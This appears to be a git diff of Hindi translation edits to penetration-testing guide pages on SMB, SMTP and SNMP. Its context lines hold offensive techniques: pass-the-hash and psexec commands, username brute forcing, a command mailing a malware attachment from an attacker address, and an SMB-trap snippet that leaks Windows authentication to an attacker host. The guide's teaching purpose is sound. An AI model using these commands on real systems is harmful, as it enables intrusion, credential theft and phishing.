-| व्यवस्थापक, एडमिन | _(खाली)_, पासवर्ड, व्यवस्थापक, एडमिन |
+| व्यवस्थापक, एडमिन | _(खाली)_, पासवर्ड, व्यवस्थापक, एडमिन |
| आर्कसर्व | आर्कसर्व, बैकअप |
-| टिवोली, tmersrvd | टिवोली, tmersrvd, एडमिन |
-| बैकअपएक्सेक, बैकअप | बैकअपएक्सेक, बैकअप, आर्काडा |
+| टिवोली, टेमरसरव्ड | टिवोली, टेमरसरव्ड, एडमिन |
+| बैकअपएक्सेक, बैकअप | बैकअपएक्सेक, बैकअप, आर्काडा |
| परीक्षण, प्रयोगशाला, डेमो | पासवर्ड, परीक्षण, प्रयोगशाला, डेमो |
### ब्रूट फोर्स
@@ -310,11 +310,11 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
-विशेष रूप से शेयरों में **`Registry.xml`** नामक फ़ाइलें दिलचस्प हैं क्योंकि वे **autologon** के साथ कॉन्फ़िगर किए गए उपयोगकर्ताओं के लिए पासवर्ड **शामिल कर सकती हैं**। या **`web.config`** फ़ाइलें क्योंकि वे क्रेडेंशियल्स **शामिल करती हैं**।
+विशेष रूप से शेयरों में **`Registry.xml`** नामक फ़ाइलें दिलचस्प हैं क्योंकि वे **autologon** के साथ कॉन्फ़िगर किए गए उपयोगकर्ताओं के लिए **पासवर्ड** रख सकती हैं। या **`web.config`** फ़ाइलें क्योंकि वे क्रेडेंशियल्स रखती हैं।
> [!NOTE]
-> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ा जा सकता है**। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट** **पाएंगे**।\
-> आपको इसके अंदर की **स्क्रिप्ट** की **जांच** करनी चाहिए क्योंकि आप संवेदनशील जानकारी जैसे **पासवर्ड** **पाएंगे**।
+> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ा** जा सकता है। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट** **पाएंगे**।\
+> आपको इसके अंदर की **स्क्रिप्ट** की **जांच** करनी चाहिए क्योंकि आप **पासवर्ड** जैसी संवेदनशील जानकारी **पाएंगे**।
## रजिस्ट्री पढ़ें
@@ -379,7 +379,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
दोनों विकल्प **एक नई सेवा बनाएंगे** (SMB के माध्यम से _\pipe\svcctl_ का उपयोग करते हुए) पीड़ित मशीन में और इसका उपयोग **कुछ निष्पादित करने** के लिए करेंगे (**psexec** एक निष्पादन योग्य फ़ाइल को ADMIN$ शेयर में **अपलोड** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इशारा करेगा और तर्कों में पेलोड डालेगा --**फाइल-लेस तकनीक-**-).\
-**अधिक जानकारी** [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md) और [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) के बारे में।\
+**अधिक जानकारी** [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)और [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) के बारे में।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
#If no password is provided, it will be prompted
@@ -419,7 +419,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
-## **ब्रूटफोर्स उपयोगकर्ताओं के क्रेडेंशियल्स**
+## **यूजर्स क्रेडेंशियल्स का ब्रूटफोर्स**
**यह अनुशंसित नहीं है, यदि आप अधिकतम अनुमत प्रयासों से अधिक हो जाते हैं तो आप एक खाता ब्लॉक कर सकते हैं**
```bash
@@ -433,7 +433,7 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
## SMB-Trap
-Windows लाइब्रेरी URLMon.dll स्वचालित रूप से उस होस्ट पर प्रमाणीकरण करने की कोशिश करती है जब एक पृष्ठ SMB के माध्यम से कुछ सामग्री तक पहुँचने की कोशिश करता है, उदाहरण के लिए: `img src="\\10.10.10.10\path\image.jpg"`
+Windows पुस्तकालय URLMon.dll स्वचालित रूप से उस होस्ट पर प्रमाणीकरण करने की कोशिश करता है जब एक पृष्ठ SMB के माध्यम से कुछ सामग्री तक पहुँचने की कोशिश करता है, उदाहरण के लिए: `img src="\\10.10.10.10\path\image.jpg"`
यह निम्नलिखित कार्यों के साथ होता है:
diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md
index 982099763..6240b8878 100644
--- a/src/network-services-pentesting/pentesting-smtp/README.md
+++ b/src/network-services-pentesting/pentesting-smtp/README.md
@@ -6,7 +6,7 @@
**सिंपल मेल ट्रांसफर प्रोटोकॉल (SMTP)** एक प्रोटोकॉल है जो **ई-मेल भेजने और प्राप्त करने** के लिए TCP/IP सूट के भीतर उपयोग किया जाता है। प्राप्तकर्ता के अंत पर संदेशों को कतारबद्ध करने में इसकी सीमाओं के कारण, SMTP अक्सर **POP3 या IMAP** के साथ उपयोग किया जाता है। ये अतिरिक्त प्रोटोकॉल उपयोगकर्ताओं को एक सर्वर मेलबॉक्स पर संदेशों को संग्रहीत करने और उन्हें समय-समय पर डाउनलोड करने की अनुमति देते हैं।
-व्यवहार में, यह सामान्य है कि **ई-मेल प्रोग्राम** **ई-मेल भेजने** के लिए **SMTP** का उपयोग करते हैं, जबकि **उन्हें प्राप्त करने** के लिए **POP3 या IMAP** का उपयोग करते हैं। यूनिक्स आधारित सिस्टम पर, **sendmail** ई-मेल उद्देश्यों के लिए सबसे अधिक उपयोग किया जाने वाला SMTP सर्वर है। Sendmail के रूप में ज्ञात व्यावसायिक पैकेज में एक POP3 सर्वर शामिल है। इसके अलावा, **Microsoft Exchange** एक SMTP सर्वर प्रदान करता है और POP3 समर्थन शामिल करने का विकल्प देता है।
+व्यवहार में, यह सामान्य है कि **ई-मेल प्रोग्राम** **ई-मेल भेजने के लिए SMTP** का उपयोग करते हैं, जबकि **उन्हें प्राप्त करने के लिए POP3 या IMAP** का उपयोग करते हैं। यूनिक्स आधारित सिस्टम पर, **sendmail** ई-मेल उद्देश्यों के लिए सबसे अधिक उपयोग किया जाने वाला SMTP सर्वर है। Sendmail के रूप में ज्ञात व्यावसायिक पैकेज में एक POP3 सर्वर शामिल है। इसके अलावा, **Microsoft Exchange** एक SMTP सर्वर प्रदान करता है और POP3 समर्थन शामिल करने का विकल्प देता है।
**डिफ़ॉल्ट पोर्ट:** 25,465(ssl),587(ssl)
```
@@ -17,11 +17,11 @@ PORT STATE SERVICE REASON VERSION
यदि आपके पास **शिकार को आपको एक ईमेल भेजने का अवसर है** (उदाहरण के लिए, वेब पृष्ठ के संपर्क फ़ॉर्म के माध्यम से), तो ऐसा करें क्योंकि **आप शिकार की आंतरिक टोपोलॉजी के बारे में जान सकते हैं** मेल के हेडर को देखकर।
-आप एक SMTP सर्वर से ईमेल भी प्राप्त कर सकते हैं जो **उस सर्वर को एक गैर-मौजूद पते पर ईमेल भेजने की कोशिश कर रहा है** (क्योंकि सर्वर हमलावर को एक NDN मेल भेजेगा)। लेकिन, सुनिश्चित करें कि आप ईमेल एक अनुमत पते से भेजें (SPF नीति की जांच करें) और कि आप NDN संदेश प्राप्त कर सकते हैं।
+आप एक SMTP सर्वर से एक ईमेल भी प्राप्त कर सकते हैं जो **उस सर्वर को एक गैर-मौजूद पते पर ईमेल भेजने की कोशिश कर रहा है** (क्योंकि सर्वर हमलावर को एक NDN मेल भेजेगा)। लेकिन, सुनिश्चित करें कि आप ईमेल एक अनुमत पते से भेजें (SPF नीति की जांच करें) और कि आप NDN संदेश प्राप्त कर सकते हैं।
आपको **विभिन्न सामग्री भेजने की कोशिश भी करनी चाहिए क्योंकि आप हेडर में अधिक दिलचस्प जानकारी पा सकते हैं** जैसे: `X-Virus-Scanned: by av.domain.com`\
आपको EICAR परीक्षण फ़ाइल भेजनी चाहिए।\
-**AV** का पता लगाना आपको **ज्ञात कमजोरियों का लाभ उठाने** की अनुमति दे सकता है।
+**AV** का पता लगाना आपको **ज्ञात कमजोरियों का शोषण करने** की अनुमति दे सकता है।
## Basic actions
@@ -150,11 +150,11 @@ Nmap: nmap --script smtp-enum-users
```
## DSN Reports
-**डिलीवरी स्टेटस नोटिफिकेशन रिपोर्ट्स**: यदि आप किसी संगठन को एक **ईमेल** एक **अमान्य पते** पर भेजते हैं, तो संगठन आपको सूचित करेगा कि पता अमान्य था, **आपको एक मेल वापस भेजकर**। लौटाए गए ईमेल के **हेडर** में संभावित **संवेदनशील जानकारी** शामिल होगी (जैसे कि रिपोर्ट के साथ इंटरैक्ट करने वाली मेल सेवाओं का IP पता या एंटी-वायरस सॉफ़्टवेयर की जानकारी)।
+**डिलीवरी स्टेटस नोटिफिकेशन रिपोर्ट्स**: यदि आप किसी संगठन को एक **ईमेल** एक **अमान्य पते** पर भेजते हैं, तो संगठन आपको सूचित करेगा कि पता अमान्य था, **आपको एक मेल वापस भेजकर**। **हेडर** में लौटाए गए ईमेल में संभावित **संवेदनशील जानकारी** शामिल होगी (जैसे कि रिपोर्ट के साथ इंटरैक्ट करने वाली मेल सेवाओं का IP पता या एंटी-वायरस सॉफ़्टवेयर की जानकारी)।
## [Commands](smtp-commands.md)
-### लिनक्स कंसोल से ईमेल भेजना
+### Sending an Email from linux console
```bash
sendEmail -t to@domain.com -f from@attacker.com -s -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
@@ -237,7 +237,7 @@ smtp-smuggling.md
> SPF [2014 में "deprecated" हुआ था](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)। इसका मतलब है कि `_spf.domain.com` में **TXT रिकॉर्ड** बनाने के बजाय आप इसे `domain.com` में **एक ही सिंटैक्स** का उपयोग करके बनाते हैं।\
> इसके अलावा, पिछले spf रिकॉर्ड का पुन: उपयोग करने के लिए यह आम है कि कुछ ऐसा पाया जाए जैसे `"v=spf1 include:_spf.google.com ~all"`
-**Sender Policy Framework** (SPF) एक तंत्र है जो Mail Transfer Agents (MTAs) को यह सत्यापित करने में सक्षम बनाता है कि क्या एक ईमेल भेजने वाला होस्ट संगठनों द्वारा परिभाषित अधिकृत मेल सर्वरों की सूची को पूछकर अधिकृत है। यह सूची, जो IP पते/रेंज, डोमेन, और अन्य संस्थाओं को **एक डोमेन नाम की ओर से ईमेल भेजने के लिए अधिकृत** करती है, SPF रिकॉर्ड में विभिन्न "**Mechanisms**" को शामिल करती है।
+**Sender Policy Framework** (SPF) एक तंत्र है जो Mail Transfer Agents (MTAs) को यह सत्यापित करने में सक्षम बनाता है कि क्या एक ईमेल भेजने वाला होस्ट संगठनों द्वारा परिभाषित अधिकृत मेल सर्वरों की सूची को पूछकर अधिकृत है। यह सूची, जो IP पते/रेंज, डोमेन और अन्य संस्थाओं को **एक डोमेन नाम की ओर से ईमेल भेजने के लिए अधिकृत** करती है, SPF रिकॉर्ड में विभिन्न "**Mechanisms**" को शामिल करती है।
#### Mechanisms
@@ -249,20 +249,20 @@ smtp-smuggling.md
| A | यदि डोमेन नाम का एक पता रिकॉर्ड (A या AAAA) है जिसे भेजने वाले के पते में हल किया जा सकता है, तो यह मेल खाता है। |
| IP4 | यदि भेजने वाला एक दिए गए IPv4 पते की रेंज में है, तो मेल खाता है। |
| IP6 | यदि भेजने वाला एक दिए गए IPv6 पते की रेंज में है, तो मेल खाता है। |
-| MX | यदि डोमेन नाम का एक MX रिकॉर्ड है जो भेजने वाले के पते को हल करता है, तो यह मेल खाता है (यानी, मेल डोमेन के आने वाले मेल सर्वरों में से एक से आता है)। |
-| PTR | यदि ग्राहक के पते के लिए डोमेन नाम (PTR रिकॉर्ड) दिए गए डोमेन में है और वह डोमेन नाम ग्राहक के पते को हल करता है (फॉरवर्ड-कन्फर्म्ड रिवर्स DNS), तो मेल खाता है। इस तंत्र की सिफारिश नहीं की जाती है और इसे संभवतः टाला जाना चाहिए। |
-| EXISTS | यदि दिए गए डोमेन नाम का कोई भी पता हल होता है, तो मेल खाता है (कोई फर्क नहीं पड़ता कि यह किस पते को हल करता है)। इसका उपयोग शायद ही कभी किया जाता है। SPF मैक्रो भाषा के साथ यह DNSBL-queries जैसी अधिक जटिल मेल खाता है। |
+| MX | यदि डोमेन नाम का एक MX रिकॉर्ड है जो भेजने वाले के पते में हल होता है, तो यह मेल खाता है (यानी, मेल डोमेन के आने वाले मेल सर्वरों में से एक से आता है)। |
+| PTR | यदि ग्राहक के पते के लिए डोमेन नाम (PTR रिकॉर्ड) दिए गए डोमेन में है और वह डोमेन नाम ग्राहक के पते में हल होता है (फॉरवर्ड-कन्फर्म्ड रिवर्स DNS), तो मेल खाता है। इस तंत्र की सिफारिश नहीं की जाती है और इसे संभवतः टाला जाना चाहिए। |
+| EXISTS | यदि दिए गए डोमेन नाम का कोई भी पता हल होता है, तो मेल खाता है (कोई फर्क नहीं पड़ता कि यह किस पते में हल होता है)। इसका उपयोग शायद ही कभी किया जाता है। SPF मैक्रो भाषा के साथ यह DNSBL-queries जैसी अधिक जटिल मेल खाता है। |
| INCLUDE | किसी अन्य डोमेन की नीति को संदर्भित करता है। यदि उस डोमेन की नीति पास होती है, तो यह तंत्र पास होता है। हालाँकि, यदि शामिल की गई नीति विफल होती है, तो प्रसंस्करण जारी रहता है। किसी अन्य डोमेन की नीति को पूरी तरह से सौंपने के लिए, रीडायरेक्ट एक्सटेंशन का उपयोग किया जाना चाहिए। |
-| REDIRECT |
एक रीडायरेक्ट एक अन्य डोमेन नाम की ओर इशारा करता है जो एक SPF नीति को होस्ट करता है, यह कई डोमेन को समान SPF नीति साझा करने की अनुमति देता है। यह तब उपयोगी होता है जब एक बड़ी संख्या में डोमेन होते हैं जो समान ईमेल बुनियादी ढाँचे को साझा करते हैं।
रीडायरेक्ट तंत्र में निर्दिष्ट डोमेन की SPF नीति का उपयोग किया जाएगा।
|
+| REDIRECT |
एक रीडायरेक्ट एक अन्य डोमेन नाम की ओर इशारा करता है जो एक SPF नीति को होस्ट करता है, यह कई डोमेन को समान SPF नीति साझा करने की अनुमति देता है। यह तब उपयोगी होता है जब एक बड़ी संख्या में डोमेन होते हैं जो समान ईमेल बुनियादी ढाँचे को साझा करते हैं।
यह रीडायरेक्ट तंत्र में निर्दिष्ट डोमेन की SPF नीति का उपयोग किया जाएगा।
|
यह पहचानना भी संभव है कि **Qualifiers** क्या संकेत करते हैं **यदि कोई तंत्र मेल खाता है तो क्या किया जाना चाहिए**। डिफ़ॉल्ट रूप से, **qualifier "+"** का उपयोग किया जाता है (तो यदि कोई तंत्र मेल खाता है, तो इसका मतलब है कि यह अनुमति दी गई है)।\
आप आमतौर पर **प्रत्येक SPF नीति के अंत में** कुछ ऐसा नोट करेंगे: **\~all** या **-all**। इसका उपयोग यह संकेत करने के लिए किया जाता है कि **यदि भेजने वाला किसी भी SPF नीति से मेल नहीं खाता है, तो आपको ईमेल को अविश्वसनीय (\~) के रूप में टैग करना चाहिए या ईमेल को अस्वीकार (-) करना चाहिए।**
#### Qualifiers
-नीति के भीतर प्रत्येक तंत्र को इच्छित परिणाम को परिभाषित करने के लिए चार क्वालिफायर में से एक द्वारा पूर्ववर्ती किया जा सकता है:
+नीति के भीतर प्रत्येक तंत्र को चार में से एक qualifier द्वारा पूर्ववर्ती किया जा सकता है ताकि इच्छित परिणाम को परिभाषित किया जा सके:
-- **`+`**: एक PASS परिणाम के अनुरूप है। डिफ़ॉल्ट रूप से, तंत्र इस क्वालिफायर को मानते हैं, जिससे `+mx` `mx` के बराबर होता है।
+- **`+`**: एक PASS परिणाम के अनुरूप है। डिफ़ॉल्ट रूप से, तंत्र इस qualifier को मानते हैं, जिससे `+mx` `mx` के बराबर हो जाता है।
- **`?`**: एक NEUTRAL परिणाम का प्रतिनिधित्व करता है, जिसे NONE (कोई विशिष्ट नीति नहीं) के समान माना जाता है।
- **`~`**: SOFTFAIL को दर्शाता है, जो NEUTRAL और FAIL के बीच एक मध्य भूमि के रूप में कार्य करता है। इस परिणाम को पूरा करने वाले ईमेल आमतौर पर स्वीकार किए जाते हैं लेकिन उचित रूप से चिह्नित होते हैं।
- **`-`**: FAIL को इंगित करता है, यह सुझाव देता है कि ईमेल को सीधे अस्वीकार किया जाना चाहिए।
@@ -286,7 +286,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
-परंपरागत रूप से, किसी भी डोमेन नाम को स्पूफ करना संभव था जिसके पास सही/कोई SPF रिकॉर्ड नहीं था। **आजकल**, यदि **ईमेल** किसी **डोमेन से आता है जिसके पास मान्य SPF रिकॉर्ड नहीं है**, तो इसे **स्वचालित रूप से अस्वीकृत/अविश्वसनीय के रूप में चिह्नित किया जा सकता है**।
+परंपरागत रूप से, किसी भी डोमेन नाम को स्पूफ करना संभव था जिसके पास सही/कोई SPF रिकॉर्ड नहीं था। **आजकल**, यदि **ईमेल** किसी **डोमेन से आता है जिसके पास एक मान्य SPF रिकॉर्ड नहीं है**, तो इसे **स्वचालित रूप से अस्वीकृत/अविश्वसनीय के रूप में चिह्नित किया जाएगा**।
किसी डोमेन का SPF जांचने के लिए आप ऑनलाइन टूल का उपयोग कर सकते हैं: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
@@ -326,10 +326,10 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| -------- | --------------------------------------------- | ------------------------------- |
| v | प्रोटोकॉल संस्करण | v=DMARC1 |
| pct | फ़िल्टरिंग के अधीन संदेशों का प्रतिशत | pct=20 |
-| ruf | फोरेंसिक रिपोर्टों के लिए रिपोर्टिंग यूआरआई | ruf=mailto:authfail@example.com |
-| rua | समग्र रिपोर्टों का रिपोर्टिंग यूआरआई | rua=mailto:aggrep@example.com |
+| ruf | फोरेंसिक रिपोर्टों के लिए रिपोर्टिंग URI | ruf=mailto:authfail@example.com |
+| rua | समग्र रिपोर्टों का रिपोर्टिंग URI | rua=mailto:aggrep@example.com |
| p | संगठनात्मक डोमेन के लिए नीति | p=quarantine |
-| sp | ओडी के उपडोमेन के लिए नीति | sp=reject |
+| sp | OD के उपडोमेन के लिए नीति | sp=reject |
| adkim | DKIM के लिए संरेखण मोड | adkim=s |
| aspf | SPF के लिए संरेखण मोड | aspf=r |
@@ -351,13 +351,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **ओपन रिले**
-जब ईमेल भेजे जाते हैं, तो यह सुनिश्चित करना कि उन्हें स्पैम के रूप में चिह्नित नहीं किया जाता है, महत्वपूर्ण है। यह अक्सर **प्राप्तकर्ता द्वारा विश्वसनीय रिले सर्वर** के उपयोग के माध्यम से प्राप्त किया जाता है। हालांकि, एक सामान्य चुनौती यह है कि व्यवस्थापक यह नहीं जानते कि **कौन से IP रेंज सुरक्षित हैं**। इस समझ की कमी SMTP सर्वर को सेटअप करने में गलतियों का कारण बन सकती है, जो सुरक्षा आकलनों में अक्सर पहचानी जाती है।
+जब ईमेल भेजे जाते हैं, तो यह सुनिश्चित करना कि उन्हें स्पैम के रूप में चिह्नित नहीं किया जाता है, महत्वपूर्ण है। यह अक्सर **प्राप्तकर्ता द्वारा विश्वसनीय रिले सर्वर** के उपयोग के माध्यम से प्राप्त किया जाता है। हालाँकि, एक सामान्य चुनौती यह है कि व्यवस्थापक यह नहीं जानते कि **कौन से IP रेंज सुरक्षित हैं**। इस समझ की कमी SMTP सर्वर को सेटअप करने में गलतियों का कारण बन सकती है, जो सुरक्षा आकलनों में अक्सर पहचानी जाती है।
-कुछ व्यवस्थापक ईमेल वितरण समस्याओं से बचने के लिए, विशेष रूप से संभावित या चल रहे ग्राहकों के साथ संचार के संबंध में, एक समाधान के रूप में **किसी भी IP पते से कनेक्शन की अनुमति देते हैं**। यह SMTP सर्वर के `mynetworks` पैरामीटर को सभी IP पते स्वीकार करने के लिए कॉन्फ़िगर करके किया जाता है, जैसा कि नीचे दिखाया गया है:
+एक वर्कअराउंड जो कुछ व्यवस्थापक ईमेल वितरण समस्याओं से बचने के लिए उपयोग करते हैं, विशेष रूप से संभावित या चल रहे ग्राहकों के साथ संचार के संबंध में, वह है **किसी भी IP पते से कनेक्शन की अनुमति देना**। यह SMTP सर्वर के `mynetworks` पैरामीटर को सभी IP पते स्वीकार करने के लिए कॉन्फ़िगर करके किया जाता है, जैसा कि नीचे दिखाया गया है:
```bash
mynetworks = 0.0.0.0/0
```
-एक मेल सर्वर यह जांचने के लिए कि क्या यह एक ओपन रिलेज है (जिसका मतलब है कि यह किसी भी बाहरी स्रोत से ईमेल को अग्रेषित कर सकता है), `nmap` टूल का सामान्यत: उपयोग किया जाता है। इसमें इसे परीक्षण करने के लिए एक विशिष्ट स्क्रिप्ट शामिल है। एक सर्वर पर वर्बोज़ स्कैन करने के लिए (उदाहरण के लिए, IP 10.10.10.10 के साथ) पोर्ट 25 पर `nmap` का उपयोग करते हुए कमांड है:
+एक मेल सर्वर यह जांचने के लिए कि क्या यह एक ओपन रिलेज है (जिसका मतलब है कि यह किसी भी बाहरी स्रोत से ईमेल को अग्रेषित कर सकता है), `nmap` टूल का सामान्यत: उपयोग किया जाता है। इसमें इसे परीक्षण करने के लिए एक विशेष स्क्रिप्ट शामिल है। एक सर्वर पर वर्बोज़ स्कैन करने के लिए (उदाहरण के लिए, IP 10.10.10.10 के साथ) पोर्ट 25 पर `nmap` का उपयोग करते हुए कमांड है:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@@ -475,7 +475,7 @@ s.sendmail(sender, [destination], msg_data)
### **अधिक जानकारी**
-**इन सुरक्षा उपायों के बारे में अधिक जानकारी के लिए** [**यहाँ देखें**](https://seanthegeek.net/459/demystifying-dmarc/)
+**इन सुरक्षा उपायों के बारे में अधिक जानकारी प्राप्त करें** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
### **अन्य फ़िशिंग संकेतक**
@@ -484,19 +484,19 @@ s.sendmail(sender, [destination], msg_data)
- लिंक हेरफेर तकनीकें
- संदिग्ध (असामान्य) अटैचमेंट
- टूटी हुई ईमेल सामग्री
-- मान जो मेल हेडर के मानों से भिन्न हैं
+- उपयोग किए गए मान जो मेल हेडर के मानों से भिन्न हैं
- एक मान्य और विश्वसनीय SSL प्रमाणपत्र का अस्तित्व
- वेब सामग्री फ़िल्टरिंग साइटों पर पृष्ठ का सबमिशन
-## SMTP के माध्यम से डेटा निकालना
+## SMTP के माध्यम से एक्सफिल्ट्रेशन
-**यदि आप SMTP के माध्यम से डेटा भेज सकते हैं** [**यह पढ़ें**](../../generic-hacking/exfiltration.md#smtp)**.**
+**यदि आप SMTP के माध्यम से डेटा भेज सकते हैं** [**यह पढ़ें**](../../generic-hacking/exfiltration.md#smtp)**।**
## कॉन्फ़िग फ़ाइल
-### Postfix
+### पोस्टफिक्स
-आमतौर पर, यदि स्थापित है, तो `/etc/postfix/master.cf` में **स्क्रिप्ट होती हैं** जो उदाहरण के लिए, जब एक नया मेल किसी उपयोगकर्ता द्वारा प्राप्त होता है, तब निष्पादित होती हैं। उदाहरण के लिए, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` का अर्थ है कि यदि उपयोगकर्ता मार्क द्वारा एक नया मेल प्राप्त होता है, तो `/etc/postfix/filtering` निष्पादित किया जाएगा।
+आमतौर पर, यदि स्थापित है, तो `/etc/postfix/master.cf` में **स्क्रिप्ट होती हैं जो निष्पादित होती हैं** जब उदाहरण के लिए एक नया मेल किसी उपयोगकर्ता द्वारा प्राप्त होता है। उदाहरण के लिए, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` का अर्थ है कि यदि उपयोगकर्ता मार्क द्वारा नया मेल प्राप्त होता है, तो `/etc/postfix/filtering` निष्पादित किया जाएगा।
अन्य कॉन्फ़िग फ़ाइलें:
```
diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md
index 0eabe8106..249b7e04b 100644
--- a/src/network-services-pentesting/pentesting-snmp/README.md
+++ b/src/network-services-pentesting/pentesting-snmp/README.md
@@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
-
## Basic Information
**SNMP - Simple Network Management Protocol** एक प्रोटोकॉल है जिसका उपयोग नेटवर्क में विभिन्न उपकरणों (जैसे राउटर, स्विच, प्रिंटर, IoTs...) की निगरानी के लिए किया जाता है।
@@ -24,11 +23,11 @@ MIB फ़ाइलें `एब्स्ट्रैक्ट सिंटै
MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्तर विभिन्न मानक-निर्धारण संगठनों को आवंटित किए जाते हैं। इन शीर्ष स्तरों के भीतर वैश्विक प्रबंधन प्रथाओं और मानकों के लिए ढांचा स्थापित किया जाता है।
-इसके अलावा, विक्रेताओं को निजी शाखाएँ स्थापित करने की स्वतंत्रता दी जाती है। इन शाखाओं के भीतर, उनके पास **अपने उत्पाद लाइनों से संबंधित प्रबंधित ऑब्जेक्ट्स को शामिल करने की स्वायत्तता** होती है। यह प्रणाली विभिन्न विक्रेताओं और मानकों के बीच ऑब्जेक्ट्स की पहचान और प्रबंधन के लिए एक संरचित और संगठित विधि सुनिश्चित करती है।
+इसके अलावा, विक्रेताओं को निजी शाखाएं स्थापित करने की स्वतंत्रता दी जाती है। इन शाखाओं के भीतर, उनके पास **अपने उत्पाद लाइनों से संबंधित प्रबंधित ऑब्जेक्ट्स को शामिल करने की स्वायत्तता** होती है। यह प्रणाली विभिन्न विक्रेताओं और मानकों के बीच ऑब्जेक्ट्स की पहचान और प्रबंधन के लिए एक संरचित और संगठित विधि सुनिश्चित करती है।
.png>)
-आप यहाँ वेब से **OID पेड़** के माध्यम से **नेविगेट** कर सकते हैं: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) या **देख सकते हैं कि OID का क्या अर्थ है** (जैसे `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) पर जाकर।\
+आप यहां वेब के माध्यम से **OID पेड़** के माध्यम से **नेविगेट** कर सकते हैं: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) या **देख सकते हैं कि OID का क्या अर्थ है** (जैसे `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) पर जाकर।\
कुछ **प्रसिद्ध OIDs** हैं जैसे कि [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) के भीतर जो MIB-2 द्वारा परिभाषित सरल नेटवर्क प्रबंधन प्रोटोकॉल (SNMP) वेरिएबल्स को संदर्भित करते हैं। और इस **OID से संबंधित OIDs** से आप कुछ दिलचस्प होस्ट डेटा (सिस्टम डेटा, नेटवर्क डेटा, प्रक्रियाओं का डेटा...) प्राप्त कर सकते हैं।
### **OID उदाहरण**
@@ -56,7 +55,7 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
बाकी के मान डिवाइस के बारे में विशिष्ट जानकारी देते हैं।
-- 5 – एक विशिष्ट अलार्म बिंदु को दर्शाता है।
+- 5 – एक विविक्त अलार्म बिंदु को दर्शाता है।
- 1 – डिवाइस में विशिष्ट बिंदु
- 3 – पोर्ट
- 21 – पोर्ट का पता
@@ -73,13 +72,13 @@ SNMP के 2 महत्वपूर्ण संस्करण हैं:
### कम्युनिटी स्ट्रिंग्स
-जैसा कि पहले उल्लेख किया गया है, **MIB पर संग्रहीत जानकारी तक पहुँचने के लिए आपको संस्करण 1 और 2/2c पर कम्युनिटी स्ट्रिंग और संस्करण 3 पर क्रेडेंशियल्स जानने की आवश्यकता है।**\
+जैसा कि पहले उल्लेख किया गया है, **MIB पर संग्रहीत जानकारी तक पहुंचने के लिए आपको संस्करण 1 और 2/2c पर कम्युनिटी स्ट्रिंग और संस्करण 3 पर क्रेडेंशियल्स जानने की आवश्यकता है।**\
कम्युनिटी स्ट्रिंग्स के **2 प्रकार** हैं:
- **`public`** मुख्य रूप से **पढ़ने के लिए केवल** कार्य
- **`private`** **पढ़ने/लिखने** में सामान्य
-ध्यान दें कि **OID की लिखने की क्षमता उपयोग की गई कम्युनिटी स्ट्रिंग पर निर्भर करती है**, इसलिए **यहां तक कि** यदि आप पाते हैं कि "**public**" का उपयोग किया जा रहा है, तो आप कुछ मानों को **लिखने में सक्षम हो सकते हैं।** इसके अलावा, ऐसे ऑब्जेक्ट्स हो सकते हैं जो **हमेशा "पढ़ने के लिए केवल"** होते हैं।\
